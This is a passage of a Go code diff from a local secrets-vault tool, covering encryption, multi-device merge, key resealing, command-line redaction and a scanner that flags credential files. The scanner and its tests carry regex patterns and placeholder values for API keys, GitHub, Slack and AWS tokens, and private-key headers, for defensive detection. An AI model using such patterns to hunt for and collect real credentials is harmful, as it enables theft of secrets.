"postgres://u:pw@h/db", Scope: "p1"} + if err := v.Put("id1", want); err != nil { + t.Fatal(err) + } + again, _ := Open(home) + got, err := again.Get("id1") + if err != nil || got != want { + t.Fatalf("got %+v, %v", got, err) + } + if err := v.Delete("id1"); err != nil { + t.Fatal(err) + } + if _, err := v.Get("id1"); err != ErrNotFound { + t.Fatalf("want ErrNotFound, got %v", err) + } +} + +// K3 keeps the vault encrypted on Windows; its user profile supplies account access control. +func TestFilesArePrivateAndSealed(t *testing.T) { + v, home := mustOpen(t) + if err := v.Put("id1", Entry{Name: "K", Value: "hunter2-plain", Scope: "p"}); err != nil { + t.Fatal(err) + } + for _, name := range []string{"vault.enc", "identity.json"} { + info, err := os.Stat(filepath.Join(home, name)) + if err != nil || (runtime.GOOS != "windows" && info.Mode().Perm() != 0o600) { + t.Fatalf("%s: %v %v", name, info, err) + } + } + raw, _ := os.ReadFile(filepath.Join(home, "vault.enc")) + if strings.Contains(string(raw), "hunter2-plain") { + t.Fatal("value stored in plaintext") + } +} + +func TestAtomicWriteLeavesNoTemp(t *testing.T) { + v, home := mustOpen(t) + for i := 0; i < 3; i++ { + if err := v.Put("id", Entry{Name: "K", Value: "v", Scope: "p"}); err != nil { + t.Fatal(err) + } + } + entries, _ := os.ReadDir(home) + if len(entries) != 4 { + t.Fatalf("want vault.enc, identity.json, device.json and the solo mark only, got %v", entries) + } +} + +func TestTamperAndWrongKeyRejected(t *testing.T) { + v, home := mustOpen(t) + v.Put("id", Entry{Name: "K", Value: "v", Scope: "p"}) + os.Remove(filepath.Join(home, "identity.json")) + other, _ := Open(home) // fresh key + if _, err := other.Get("id"); err == nil { + t.Fatal("opened vault under a different key") + } +} + +func TestEnvScopedAndSorted(t *testing.T) { + v, _ := mustOpen(t) + v.Put("a", Entry{Name: "B", Value: "2", Scope: "p"}) + v.Put("b", Entry{Name: "A", Value: "1", Scope: "p"}) + v.Put("c", Entry{Name: "C", Value: "3", Scope: "other"}) + got, _ := v.Env("p") + if want := []string{"A=1", "B=2"}; !reflect.DeepEqual(got, want) { + t.Fatalf("got %v", got) + } +} + +func TestImportDotenv(t *testing.T) { + v, _ := mustOpen(t) + file := filepath.Join(t.TempDir(), ".env") + body := "# comment\n\nA=1\nexport B=\"two words\"\nC='3'\n D = 4 \nnoequals\n=novalue\n" + os.WriteFile(file, []byte(body), 0o600) + n, err := v.ImportDotenv(file, "p") + if err != nil || n != 4 { + t.Fatalf("n=%d err=%v", n, err) + } + got, _ := v.Env("p") + if want := []string{"A=1", "B=two words", "C=3", "D=4"}; !reflect.DeepEqual(got, want) { + t.Fatalf("got %v", got) + } + os.WriteFile(file, []byte("A=changed\n"), 0o600) + v.ImportDotenv(file, "p") + got, _ = v.Env("p") + if got[0] != "A=changed" || len(got) != 4 { + t.Fatalf("reimport should update in place: %v", got) + } +} + +// TestScanTree proves C9: key material is withheld without treating a public +// certificate or an SSH public key as a private key because of its filename. +func TestScanTree(t *testing.T) { + cases := []struct { + file, body, rule string // rule "" = clean + }{ + {".env", "X=1", "dotenv-file"}, + {".env.local", "X=1", "dotenv-file"}, + {"sub/prod.env", "X=1", "dotenv-file"}, + {"aws-credentials.json", "{}", "credentials-file"}, + {"tls/server.pem", "-----BEGIN CERTIFICATE-----\npublic\n-----END CERTIFICATE-----", ""}, + {"id_rsa", "-----BEGIN OPENSSH PRIVATE KEY-----", "private-key-file"}, + {"id_ed25519.pub", "ssh-ed25519 AAAAC3Nz public", ""}, + {"a.txt", "key=sk-abcdefghijklmnop1234", "api-key-sk"}, + {"b.txt", "ghp_" + strings.Repeat("a", 36), "github-token"}, + {"c.txt", "xoxb-1234567890-abcdef", "slack-token"}, + {"d.txt", "AKIAABCDEFGHIJKLMNOP", "aws-access-key"}, + {"e.txt", "-----BEGIN RSA PRIVATE KEY-----", "private-key-file"}, + {"ca-bundle.pem", strings.Repeat("-----BEGIN CERTIFICATE-----\npublic\n-----END CERTIFICATE-----\n", 3), ""}, + {"tls/client.pem", "-----BEGIN PRIVATE KEY-----", "private-key-file"}, + {"encrypted.key", "-----BEGIN ENCRYPTED PRIVATE KEY-----", "private-key-file"}, + {"combined.pem", "-----BEGIN CERTIFICATE-----\npublic\n-----END CERTIFICATE-----\n-----BEGIN EC PRIVATE KEY-----", "private-key-file"}, + {"putty.ppk", "PuTTY-User-Key-File-3: ssh-ed25519\nEncryption: none\nPrivate-Lines: 1\nprivate", "private-key-file"}, + {"putty2.ppk", "PuTTY-User-Key-File-2: ssh-rsa\nEncryption: aes256-cbc", "private-key-file"}, + {"tls/client.p12", "opaque PKCS#12", "private-key-file"}, + {"tls/client.pfx", "opaque PKCS#12", "private-key-file"}, + {"main.go", "package main // task-sk-1", ""}, + {"env.md", "about .env files", ""}, + {"f.txt", "AKIAshort", ""}, + {"environment.txt", "hello", ""}, + } + root := t.TempDir() + for _, c := range cases { + p := filepath.Join(root, c.file) + os.MkdirAll(filepath.Dir(p), 0o755) + os.WriteFile(p, []byte(c.body), 0o644) + } + got := map[string]string{} + for _, f := range ScanTree(root) { + got[f.Path] = f.Rule + } + for _, c := range cases { + if got[c.file] != c.rule { + t.Errorf("%s: rule %q, want %q", c.file, got[c.file], c.rule) + } + } +} + +// A vault sealed before the schema freeze names its key as 16 hex under +// "key_id". It still opens, and the next write names the key as 32 hex under +// "cell_key_id". +func TestLegacyEnvelopeReadsOnceThenMigrates(t *testing.T) { + v, home := mustOpen(t) + plain := []byte(`{"V":1,"secrets":{"id1":{"name":"K","value":"v","scope":"p"}},"updated":1}`) + legacy := legacyID(v.key) + blob := sealAs(t, v.key, plain, legacy) + if err := os.WriteFile(filepath.Join(home, "vault.enc"), blob, 0o600); err != nil { + t.Fatal(err) + } + if got, err := v.Get("id1"); err != nil || got.Value != "v" { + t.Fatalf("legacy read: %+v %v", got, err) + } + if err := v.Put("id2", Entry{Name: "K2", Value: "w", Scope: "p"}); err != nil { + t.Fatal(err) + } + raw, _ := os.ReadFile(filepath.Join(home, "vault.enc")) + var env envelope + if err := json.Unmarshal(raw, &env); err != nil { + t.Fatal(err) + } + if len(env.CellKeyID) != 32 || env.KeyID != "" { + t.Fatalf("envelope not migrated: %s", raw) + } + if !strings.HasPrefix(env.CellKeyID, legacy) { + t.Fatalf("new id %s does not extend legacy id %s", env.CellKeyID, legacy) + } +} + +func TestEnvelopeRefusesForeignKeyID(t *testing.T) { + v, home := mustOpen(t) + if err := v.Put("id1", Entry{Name: "K", Value: "v", Scope: "p"}); err != nil { + t.Fatal(err) + } + raw, _ := os.ReadFile(filepath.Join(home, "vault.enc")) + var env envelope + _ = json.Unmarshal(raw, &env) + env.CellKeyID = strings.Repeat("ab", 16) + bad, _ := json.Marshal(env) + if _, err := open(v.key, bad); err == nil { + t.Fatal("opened an envelope naming another key") + } +} + +func legacyID(key []byte) string { return identity.CellKeyID(key)[:16] } + +// sealAs seals plain the way the pre-freeze build did, naming the key by id. +func sealAs(t *testing.T, key, plain []byte, id string) []byte { + t.Helper() + aead, _ := chacha20poly1305.New(key) + nonce := make([]byte, aead.NonceSize()) + blob, err := json.Marshal(map[string]any{"V": 1, "key_id": id, "nonce": hex.EncodeToString(nonce), + "data": hex.EncodeToString(aead.Seal(nil, nonce, plain, []byte(id)))}) + if err != nil { + t.Fatal(err) + } + return blob +} + +// A machine with a vault.key from before identities keeps its vault: the old +// key becomes the identity's cell key and the vault still opens. +func TestVaultKeyBecomesTheIdentityCellKey(t *testing.T) { + home := t.TempDir() + key := make([]byte, 32) + for i := range key { + key[i] = byte(i + 1) + } + os.WriteFile(filepath.Join(home, "vault.key"), []byte(hex.EncodeToString(key)), 0o600) + blob, err := seal(key, []byte(`{"V":1,"secrets":{"a":{"name":"K","value":"old","scope":"p"}},"updated":1}`)) + if err != nil { + t.Fatal(err) + } + os.WriteFile(filepath.Join(home, "vault.enc"), blob, 0o600) + + v, err := Open(home) + if err != nil { + t.Fatal(err) + } + if e, err := v.Get("a"); err != nil || e.Value != "old" { + t.Fatalf("old vault did not open: %v %v", e, err) + } + id, _ := identity.Load(home) + if id.CellKeyID() != identity.CellKeyID(key) { + t.Fatal("identity cell key is not the old vault key") + } +} diff --git a/internal/keys/ledger.go b/internal/keys/ledger.go new file mode 100644 index 0000000000..7a05727be2 --- /dev/null +++ b/internal/keys/ledger.go @@ -0,0 +1,56 @@ +package keys + +import ( + "io/fs" + "os" + "sync" +) + +// stamp is what tells a file is the one already judged. +type stamp struct { + size, mtime int64 + info fs.FileInfo +} + +// Ledger remembers the files a scan found clean. A file is looked at again when +// its identity, permissions, size or modification time is not the one noted. +// The zero value and a nil Ledger remember +// nothing; a Ledger is safe for concurrent use. +type Ledger struct { + mu sync.Mutex + clean map[string]stamp +} + +// NewLedger returns an empty ledger. +func NewLedger() *Ledger { return &Ledger{clean: map[string]stamp{}} } + +// known returns the file's stamp and whether the ledger holds it clean. +func (l *Ledger) known(abs string, d fs.DirEntry) (stamp, bool) { + if l == nil { + return stamp{}, false + } + info, err := d.Info() + if err != nil { + return stamp{}, false + } + // Editors often replace a file atomically while preserving its timestamp. + // Size and time alone must not clear the replacement without reading it. + // Loading identity now also fixes the identity before a later Windows lookup. + if !os.SameFile(info, info) { + return stamp{}, false + } + st := stamp{size: info.Size(), mtime: info.ModTime().UnixNano(), info: info} + l.mu.Lock() + defer l.mu.Unlock() + before, ok := l.clean[abs] + return st, ok && before.size == st.size && before.mtime == st.mtime && before.info.Mode() == st.info.Mode() && os.SameFile(before.info, st.info) +} + +func (l *Ledger) note(abs string, st stamp) { + if l == nil || st == (stamp{}) { + return + } + l.mu.Lock() + defer l.mu.Unlock() + l.clean[abs] = st +} diff --git a/internal/keys/merge.go b/internal/keys/merge.go new file mode 100644 index 0000000000..fe42aae28a --- /dev/null +++ b/internal/keys/merge.go @@ -0,0 +1,73 @@ +package keys + +import ( + "encoding/json" + "fmt" +) + +// Export returns the vault.enc envelope bytes, the form a vault takes on the +// wire. A vault never written yet exports as an empty, sealed one, so the +// receiver can tell "nothing yet" from "damaged". +func (v *Vault) Export() ([]byte, error) { + v.mu.Lock() + defer v.mu.Unlock() + d, err := v.read() + if err != nil { + return nil, err + } + plain, err := json.Marshal(d) + if err != nil { + return nil, err + } + return seal(v.key, plain) +} + +// Merge folds another copy of this identity's vault into the local one: the +// union of secrets by id, and for an id both hold with different content the +// slot with the newer stamp, where a delete is a slot like any other. Device clocks are trusted, which +// Stage 1 accepts because the devices are one person's own. A copy that cannot +// be opened under this key changes nothing. The merged document keeps the newer +// stamp instead of taking the time of the merge, so merging never makes an old +// edit look new. +func (v *Vault) Merge(enc []byte) error { + v.mu.Lock() + defer v.mu.Unlock() + remote, err := openDoc(v.key, enc) + if err != nil { + return fmt.Errorf("keys: cannot merge vault: %w", err) + } + local, err := v.read() + if err != nil { + return err + } + if !fold(local, remote) { + return nil + } + return v.write(local) +} + +// fold merges remote into local and reports whether local changed. Each secret +// id is decided alone by the newer slot stamp, live secrets and tombstones +// alike; on a tie a tombstone wins, since a key someone chose to delete should +// not survive a coin flip. +func fold(local, remote *vaultDoc) bool { + changed := false + for id, theirs := range remote.Secrets { + if ours, ok := local.Secrets[id]; !ok || supersedes(theirs, remote, ours, local) { + local.Secrets[id], changed = theirs, true + } + } + if remote.Updated > local.Updated { + local.Updated, changed = remote.Updated, true + } + return changed +} + +// supersedes reports whether slot a (in document ad) replaces slot b. +func supersedes(a record, ad *vaultDoc, b record, bd *vaultDoc) bool { + if a == b { + return false + } + sa, sb := a.stampOf(ad), b.stampOf(bd) + return sa > sb || (sa == sb && a.Deleted && b.live()) +} diff --git a/internal/keys/merge_test.go b/internal/keys/merge_test.go new file mode 100644 index 0000000000..07113c5796 --- /dev/null +++ b/internal/keys/merge_test.go @@ -0,0 +1,242 @@ +package keys + +import ( + "os" + "path/filepath" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/identity" +) + +// twoHomes returns two vaults of one identity, as two of a person's machines. +func twoHomes(t *testing.T) (a, b *Vault) { + t.Helper() + a, homeA := mustOpen(t) + id, err := identity.Load(homeA) + if err != nil { + t.Fatal(err) + } + homeB := filepath.Join(t.TempDir(), "home") + if err := identity.Save(homeB, id); err != nil { + t.Fatal(err) + } + b, err = Open(homeB) + if err != nil { + t.Fatal(err) + } + return a, b +} + +// setStamp rewrites one slot's stamp (and the document's, when later), so a +// test does not depend on the wall clock. +func setStamp(t *testing.T, v *Vault, id string, ts int64) { + t.Helper() + d, err := v.read() + if err != nil { + t.Fatal(err) + } + r := d.Secrets[id] + r.Updated = ts + d.Secrets[id], d.Updated = r, max(d.Updated, ts) + if err := v.write(d); err != nil { + t.Fatal(err) + } +} + +func mergeFrom(t *testing.T, into, from *Vault) { + t.Helper() + enc, err := from.Export() + if err != nil { + t.Fatal(err) + } + if err := into.Merge(enc); err != nil { + t.Fatal(err) + } +} + +func TestMergeIsTheUnionByID(t *testing.T) { + a, b := twoHomes(t) + a.Put("s1", Entry{"A", "1", "p"}) + b.Put("s2", Entry{"B", "2", "p"}) + mergeFrom(t, a, b) + got, _ := a.Env("p") + if want := []string{"A=1", "B=2"}; len(got) != 2 || got[0] != want[0] || got[1] != want[1] { + t.Fatalf("got %v, want %v", got, want) + } +} + +func TestMergeNewerStampWinsOnTheSameID(t *testing.T) { + a, b := twoHomes(t) + a.Put("s1", Entry{"K", "old", "p"}) + b.Put("s1", Entry{"K", "new", "p"}) + setStamp(t, a, "s1", 100) + setStamp(t, b, "s1", 200) + mergeFrom(t, a, b) + if e, _ := a.Get("s1"); e.Value != "new" { + t.Fatalf("the newer copy must win, got %q", e.Value) + } + b.Put("s1", Entry{"K", "older", "p"}) + setStamp(t, b, "s1", 50) + mergeFrom(t, a, b) + if e, _ := a.Get("s1"); e.Value != "new" { + t.Fatalf("an older copy must not win, got %q", e.Value) + } +} + +func TestMergeKeepsTheNewerStampAndIsIdempotent(t *testing.T) { + a, b := twoHomes(t) + b.Put("s1", Entry{"K", "v", "p"}) + setStamp(t, b, "s1", 500) + mergeFrom(t, a, b) + if d, _ := a.read(); d.Secrets["s1"].Updated != 500 { + t.Fatalf("merge must keep the slot stamp, got %d", d.Secrets["s1"].Updated) + } + first, _ := statMod(a.path) + mergeFrom(t, a, b) + if again, _ := statMod(a.path); again != first { + t.Fatal("a merge that changes nothing must not rewrite the vault") + } +} + +func TestDeleteSurvivesMergeWithAnOlderCopy(t *testing.T) { + a, b := twoHomes(t) + a.Put("leaked", Entry{"KEY", "v", "p"}) + mergeFrom(t, b, a) // b holds the secret too + must(t, a.Delete("leaked")) + mergeFrom(t, a, b) // b's older copy must not resurrect it + if _, err := a.Get("leaked"); err != ErrNotFound { + t.Fatalf("a deleted secret came back: %v", err) + } + mergeFrom(t, b, a) // and the delete travels + if got, _ := b.Entries("p"); len(got) != 0 { + t.Fatalf("the delete must reach b, got %+v", got) + } + if env, _ := b.Env("p"); len(env) != 0 { + t.Fatalf("Env must not surface a tombstone: %v", env) + } +} + +func TestReAddedSecretLivesAfterADelete(t *testing.T) { + a, b := twoHomes(t) + a.Put("s1", Entry{"KEY", "v1", "p"}) + mergeFrom(t, b, a) + must(t, a.Delete("s1")) + // The same id written again with a newer stamp. + b.Put("s1", Entry{"KEY", "v2", "p"}) + setStamp(t, b, "s1", 1<<50) + mergeFrom(t, a, b) + if e, err := a.Get("s1"); err != nil || e.Value != "v2" { + t.Fatalf("a newer re-add must live: %+v %v", e, err) + } + // The same name under a fresh id, through the dotenv import, also lives. + must(t, a.Delete("s1")) + path := filepath.Join(t.TempDir(), ".env") + must(t, os.WriteFile(path, []byte("KEY=v3\n"), 0o600)) + if _, err := a.ImportDotenv(path, "p"); err != nil { + t.Fatal(err) + } + if env, _ := a.Env("p"); len(env) != 1 || env[0] != "KEY=v3" { + t.Fatalf("got %v", env) + } +} + +func TestTombstoneCarriesNoSecret(t *testing.T) { + a, _ := twoHomes(t) + a.Put("s1", Entry{"KEY", "topsecret", "p"}) + must(t, a.Delete("s1")) + d, _ := a.read() + if r := d.Secrets["s1"]; !r.Deleted || r.Entry != (Entry{}) || r.Updated == 0 { + t.Fatalf("got %+v", r) + } + must(t, a.Delete("missing")) // leaves nothing behind + if d, _ := a.read(); len(d.Secrets) != 1 { + t.Fatal("deleting an unknown id must not write a tombstone") + } +} + +func TestMergeRefusesWhatItCannotOpen(t *testing.T) { + a, _ := twoHomes(t) + a.Put("s1", Entry{"K", "v", "p"}) + other, _ := mustOpen(t) // a different identity + enc, _ := other.Export() + if err := a.Merge(enc); err == nil { + t.Fatal("a vault sealed under another key must be refused") + } + if err := a.Merge([]byte("not an envelope")); err == nil { + t.Fatal("garbage must be refused") + } + if e, err := a.Get("s1"); err != nil || e.Value != "v" { + t.Fatalf("the local vault must be untouched: %+v %v", e, err) + } +} + +func TestExportOfAnEmptyVaultMergesAsNothing(t *testing.T) { + a, b := twoHomes(t) + a.Put("s1", Entry{"K", "v", "p"}) + mergeFrom(t, a, b) + if e, _ := a.Get("s1"); e.Value != "v" { + t.Fatal("merging an empty vault must not remove anything") + } +} + +func TestEntriesAreSortedByName(t *testing.T) { + v, _ := mustOpen(t) + v.Put("1", Entry{"A0", "x", "p"}) + v.Put("2", Entry{"A", "y", "p"}) + v.Put("3", Entry{"B", "z", "q"}) + got, _ := v.Entries("p") + if len(got) != 2 || got[0].Name != "A" || got[1].Name != "A0" { + t.Fatalf("got %+v", got) + } +} + +func must(t *testing.T, err error) { + t.Helper() + if err != nil { + t.Fatal(err) + } +} + +func statMod(path string) (int64, error) { + i, err := os.Stat(path) + if err != nil { + return 0, err + } + return i.ModTime().UnixNano(), nil +} + +// PutAt stamps a slot with the time of the edit, so an old edit recorded late +// loses to a newer edit from another machine, and Deleted tells a tombstone from +// a secret that never existed. +func TestPutAtStampsWithTheEditTimeAndDeletedSeesTombstones(t *testing.T) { + a, b := twoHomes(t) + now := time.Now() + put := func(v *Vault, value string, at time.Time) { + if err := v.PutAt("s", Entry{Name: "N", Value: value, Scope: "p"}, at); err != nil { + t.Fatal(err) + } + } + put(b, "newer", now.Add(-time.Minute)) + put(a, "older", now.Add(-time.Hour)) + enc, err := b.Export() + if err != nil { + t.Fatal(err) + } + if err := a.Merge(enc); err != nil { + t.Fatal(err) + } + if e, _ := a.Get("s"); e.Value != "newer" { + t.Fatalf("the older edit recorded later won: %q", e.Value) + } + if gone, _ := a.Deleted("s"); gone { + t.Fatal("a live secret reads as deleted") + } + _ = a.Delete("s") + if gone, _ := a.Deleted("s"); !gone { + t.Fatal("a tombstone is not seen") + } + if gone, _ := a.Deleted("never"); gone { + t.Fatal("an unknown id reads as deleted") + } +} diff --git a/internal/keys/redact.go b/internal/keys/redact.go new file mode 100644 index 0000000000..b10db7288f --- /dev/null +++ b/internal/keys/redact.go @@ -0,0 +1,91 @@ +package keys + +import ( + "regexp" + "strings" +) + +// Redacted stands where a secret's value was. It is the same three dots the +// person reads in a command line that was cleaned, so a cleaned line is +// recognisable as one. +const Redacted = "…" + +// secretName is a variable or flag name that says its value is a secret. The +// content rules catch a value that looks like a key whatever it is called; this +// catches the value that looks like nothing (`--token abc`), which only its name +// gives away. +var secretName = regexp.MustCompile(`(?i)(token|secret|passw|pwd|credential|api[-_]?key|private[-_]?key|access[-_]?key|authorization|\bauth\b)`) + +// Clean returns the command line with every secret value replaced by +// [Redacted]: the value of a `NAME=value` word or a `--flag value` pair whose +// name is a secret's, and any word a content rule recognises as a key. It reads +// a line the way a shell does, cut at blanks outside quotes (a newline stays inside its word, so a script keeps its lines), and never changes +// what it does not clean. A line it cannot read (an unclosed quote) is cut to +// its first word alone, because a line that cannot be understood cannot be shown +// to be clean. +func Clean(command string) string { + words, ok := splitWords(command) + if !ok { + first, _, _ := strings.Cut(strings.TrimSpace(command), " ") + return first + } + for i := range words { + words[i] = cleanWord(words, i) + } + return strings.Join(words, " ") +} + +// cleanWord is words[i] with its secret, if it has one, replaced. A flag whose +// name is a secret's takes the word after it as its value, so that word is the +// one replaced when the flag stands alone. +func cleanWord(words []string, i int) string { + word := words[i] + if name, _, ok := strings.Cut(word, "="); ok && secretName.MatchString(name) { + return name + "=" + Redacted + } + if i > 0 && isFlagWithSecretName(words[i-1]) { + return Redacted + } + if _, hit := firstRule(contentRules, "", []byte(word)); hit { + return Redacted + } + return word +} + +// isFlagWithSecretName reports a bare `--flag` whose value is the next word. +func isFlagWithSecretName(word string) bool { + return strings.HasPrefix(word, "-") && !strings.Contains(word, "=") && secretName.MatchString(word) +} + +// splitWords cuts a line at blanks that are not inside quotes, keeping each +// word's own quotes so the line reads back as it was written. It reports false +// for a line with an unclosed quote. +func splitWords(line string) ([]string, bool) { + var words []string + var word strings.Builder + var quote rune + flush := func() { + if word.Len() > 0 { + words = append(words, word.String()) + word.Reset() + } + } + for _, r := range line { + switch { + case quote != 0: + word.WriteRune(r) + if r == quote { + quote = 0 + } + case r == '\'' || r == '"': + quote = r + word.WriteRune(r) + case r == ' ' || r == '\t': + flush() + default: + word.WriteRune(r) + } + } + flush() + return words, quote == 0 +} diff --git a/internal/keys/redact_test.go b/internal/keys/redact_test.go new file mode 100644 index 0000000000..8086aa3298 --- /dev/null +++ b/internal/keys/redact_test.go @@ -0,0 +1,30 @@ +package keys + +import "testing" + +func TestCleanReplacesTheValueOfASecretAndNothingElse(t *testing.T) { + const key = "sk-abcdefghijklmnopqrstuvwx" + for line, want := range map[string]string{ + "npm run dev": "npm run dev", + "API_KEY=" + key + " npm run dev": "API_KEY=… npm run dev", + "curl --token abc123 https://x": "curl --token … https://x", + "curl --token=abc123 https://x": "curl --token=… https://x", + "deploy --password 'a b' --env prod": "deploy --password … --env prod", + "echo " + key: "echo …", + "git commit --author=me -m msg": "git commit --author=me -m msg", + `DB_PASSWORD="two words" ./run`: "DB_PASSWORD=… ./run", + "PORT=3000 node server.js": "PORT=3000 node server.js", + "aws --access-key-id AKIAABCDEFGHIJKLMNOP ls": "aws --access-key-id … ls", + "": "", + } { + if got := Clean(line); got != want { + t.Errorf("Clean(%q) = %q, want %q", line, got, want) + } + } +} + +func TestCleanCutsALineItCannotReadToItsFirstWord(t *testing.T) { + if got := Clean(`run --note "never closed TOKEN=abc`); got != "run" { + t.Fatalf("Clean = %q", got) + } +} diff --git a/internal/keys/reseal.go b/internal/keys/reseal.go new file mode 100644 index 0000000000..3ffd65598f --- /dev/null +++ b/internal/keys/reseal.go @@ -0,0 +1,57 @@ +package keys + +import ( + "errors" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "os" + "path/filepath" +) + +// nextFile holds a resealed vault until the identity that opens it is in place. +const nextFile = "vault.enc.next" + +// StageReseal seals the vault under newKey into vault.enc.next beside the live +// file and answers the new envelope, which is what the new identity's relay +// receives. The live file is not touched, so nothing is lost if the identity +// is never replaced. A home with no vault answers nil. Repeating it is safe: a +// vault that already opens under newKey is answered as it is. +func StageReseal(home string, oldKey, newKey []byte) ([]byte, error) { + live := filepath.Join(home, "vault.enc") + blob, err := os.ReadFile(live) + if errors.Is(err, os.ErrNotExist) { + return readNext(home) + } + if err != nil { + return nil, err + } + if _, err := open(newKey, blob); err == nil { + return blob, nil + } + plain, err := open(oldKey, blob) + if err != nil { + return nil, err + } + next, err := seal(newKey, plain) + if err != nil { + return nil, err + } + return next, writeAtomic(filepath.Join(home, nextFile), next) +} + +func readNext(home string) ([]byte, error) { + blob, err := os.ReadFile(filepath.Join(home, nextFile)) + if errors.Is(err, os.ErrNotExist) { + return nil, nil + } + return blob, err +} + +// CommitReseal puts the staged vault in place of the live one. It is the step +// after the identity changed, and it does nothing when nothing is staged. +func CommitReseal(home string) error { + err := fsreplace.Rename(filepath.Join(home, nextFile), filepath.Join(home, "vault.enc")) + if errors.Is(err, os.ErrNotExist) { + return nil + } + return err +} diff --git a/internal/keys/reseal_test.go b/internal/keys/reseal_test.go new file mode 100644 index 0000000000..26b973a7d0 --- /dev/null +++ b/internal/keys/reseal_test.go @@ -0,0 +1,106 @@ +package keys + +import ( + "errors" + "os" + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/identity" +) + +func reseal(t *testing.T, home string) (oldKey, newKey []byte, enc []byte) { + t.Helper() + v, err := Open(home) + if err != nil { + t.Fatal(err) + } + if err := v.Put("p/K", Entry{Name: "K", Value: "s3cret", Scope: "p"}); err != nil { + t.Fatal(err) + } + old, _ := identity.Load(home) + next, err := identity.Mint() + if err != nil { + t.Fatal(err) + } + enc, err = StageReseal(home, old.CellKey(), next.CellKey()) + if err != nil { + t.Fatal(err) + } + return old.CellKey(), next.CellKey(), enc +} + +// Staging leaves the live vault alone and opens only under the new key. +func TestStageResealLeavesLiveVault(t *testing.T) { + _, home := mustOpen(t) + oldKey, newKey, enc := reseal(t, home) + if _, err := open(newKey, enc); err != nil { + t.Fatalf("staged vault does not open under the new key: %v", err) + } + if _, err := open(oldKey, enc); err == nil { + t.Fatal("staged vault still opens under the old key") + } + live, _ := os.ReadFile(filepath.Join(home, "vault.enc")) + if _, err := open(oldKey, live); err != nil { + t.Fatalf("live vault changed: %v", err) + } +} + +// Committing puts the staged vault in place, and repeating either step is safe. +func TestCommitResealIsRepeatable(t *testing.T) { + _, home := mustOpen(t) + _, newKey, enc := reseal(t, home) + for range 2 { + if err := CommitReseal(home); err != nil { + t.Fatal(err) + } + } + live, _ := os.ReadFile(filepath.Join(home, "vault.enc")) + if string(live) != string(enc) { + t.Fatal("the live vault is not the staged one") + } + again, err := StageReseal(home, newKey, newKey) + if err != nil || string(again) != string(enc) { + t.Fatalf("staging a resealed vault changed it: %v", err) + } +} + +// A home with no vault has nothing to stage or commit. +func TestResealWithoutVault(t *testing.T) { + home := t.TempDir() + enc, err := StageReseal(home, make([]byte, 32), make([]byte, 32)) + if enc != nil || err != nil || CommitReseal(home) != nil { + t.Fatalf("enc %v, err %v", enc, err) + } +} + +// A reseal that stopped after the identity changed and before the vault +// followed is finished by the vault's next read. +func TestVaultReadFinishesAStagedReseal(t *testing.T) { + _, home := mustOpen(t) + _, newKey, _ := reseal(t, home) + // The identity changed under the vault: a vault for newKey, staged, and a live one for the old key. + v := &Vault{path: filepath.Join(home, "vault.enc"), key: newKey} + e, err := v.Get("p/K") + if err != nil || e.Value != "s3cret" { + t.Fatalf("secret = %+v, %v", e, err) + } + if _, err := os.Stat(filepath.Join(home, nextFile)); err == nil { + t.Fatal("the staged file is still there after it was adopted") + } +} + +// A vault that is another identity's and was never staged for this one is +// still refused, as before. +func TestVaultOfAnotherKeyIsStillRefused(t *testing.T) { + _, home := mustOpen(t) + v := &Vault{path: filepath.Join(home, "vault.enc"), key: make([]byte, 32)} + if _, err := v.Get("x"); err != nil && !errors.Is(err, ErrNotFound) { + t.Fatal(err) + } + real, _ := Open(home) + _ = real.Put("a", Entry{Name: "A", Value: "v", Scope: "s"}) + if _, err := v.Get("a"); !errors.Is(err, ErrOtherKey) { + t.Fatalf("read under the wrong key = %v, want ErrOtherKey", err) + } +} diff --git a/internal/keys/scan.go b/internal/keys/scan.go new file mode 100644 index 0000000000..277b58d91f --- /dev/null +++ b/internal/keys/scan.go @@ -0,0 +1,254 @@ +package keys + +import ( + "bytes" + "errors" + "io" + "io/fs" + "os" + "path" + "path/filepath" + "regexp" + "runtime" + "strings" +) + +// Finding names a file that must not be sealed into a tree and the rule that +// flagged it. It never carries a value. +type Finding struct { + Path string // slash-separated, relative to the scanned root + Rule string +} + +// RuleDotenv names the finding for an environment file: its variables belong +// in the vault, and the file itself stays out of a tree. +const RuleDotenv = "dotenv-file" + +// RuleUnreadable names the finding for a path this machine may not read: a file +// that cannot be opened, or a folder whose listing is refused. Nothing can be +// judged or captured there, so it is set apart, never called clean. +const RuleUnreadable = "unreadable" + +type rule struct { + name string + hit func(rel string, content []byte) bool +} + +func nameRule(name string, globs ...string) rule { + return rule{name, func(rel string, _ []byte) bool { + base := path.Base(rel) + // K3: Windows names are case-insensitive, including secret-bearing suffixes. + if runtime.GOOS == "windows" { + base = strings.ToLower(base) + } + for _, g := range globs { + if ok, _ := path.Match(g, base); ok { + return true + } + } + return false + }} +} + +// contentRule matches a pattern in file content. lead is a literal every +// match contains; a file without it is rejected by a byte search before the +// regular expression runs, which keeps a scan of many clean files cheap. +func contentRule(name, lead, pattern string) rule { + re := regexp.MustCompile(pattern) + leadB := []byte(lead) + return rule{name, func(_ string, content []byte) bool { + return bytes.Contains(content, leadB) && re.Match(content) + }} +} + +// nameRules judge a path alone; contentRules read the file. +var nameRules = []rule{ + nameRule(RuleDotenv, ".env", ".env.*", "*.env"), + nameRule("credentials-file", "*credentials*"), + // PKCS#12 containers may encrypt their private-key material, so their + // opaque contents cannot be cleared by a search for a PEM header. + nameRule("private-key-file", "*.p12", "*.pfx"), +} + +var contentRules = []rule{ + contentRule("api-key-sk", "sk-", `\bsk-[A-Za-z0-9_-]{16,}`), + contentRule("github-token", "gh", `\bgh[pousr]_[A-Za-z0-9]{30,}`), + contentRule("slack-token", "xox", `\bxox[bp]-[A-Za-z0-9-]{10,}`), + contentRule("aws-access-key", "AKIA", `\bAKIA[0-9A-Z]{16}\b`), + contentRule("private-key-file", "-----BEGIN", `-----BEGIN [A-Z ]*PRIVATE KEY-----`), + contentRule("private-key-file", "PuTTY-User-Key-File-", `(?m)^PuTTY-User-Key-File-[23]:`), +} + +// ScanTree walks root and reports every file matching a secret rule, one +// finding per file (first rule wins). A path it may not read is a finding of +// [RuleUnreadable]. +func ScanTree(root string) []Finding { return Scanner{}.Walk(root) } + +// Scanner scans with two optional aids. Skip names paths left out (a directory +// it names is not entered); paths are slash-separated and relative to the root. +// Ledger remembers the files found clean, so a file that has not changed since +// is not read again. +type Scanner struct { + Skip func(rel string) bool + Ledger *Ledger + // Visit observes screened entries so a caller can reuse this metadata 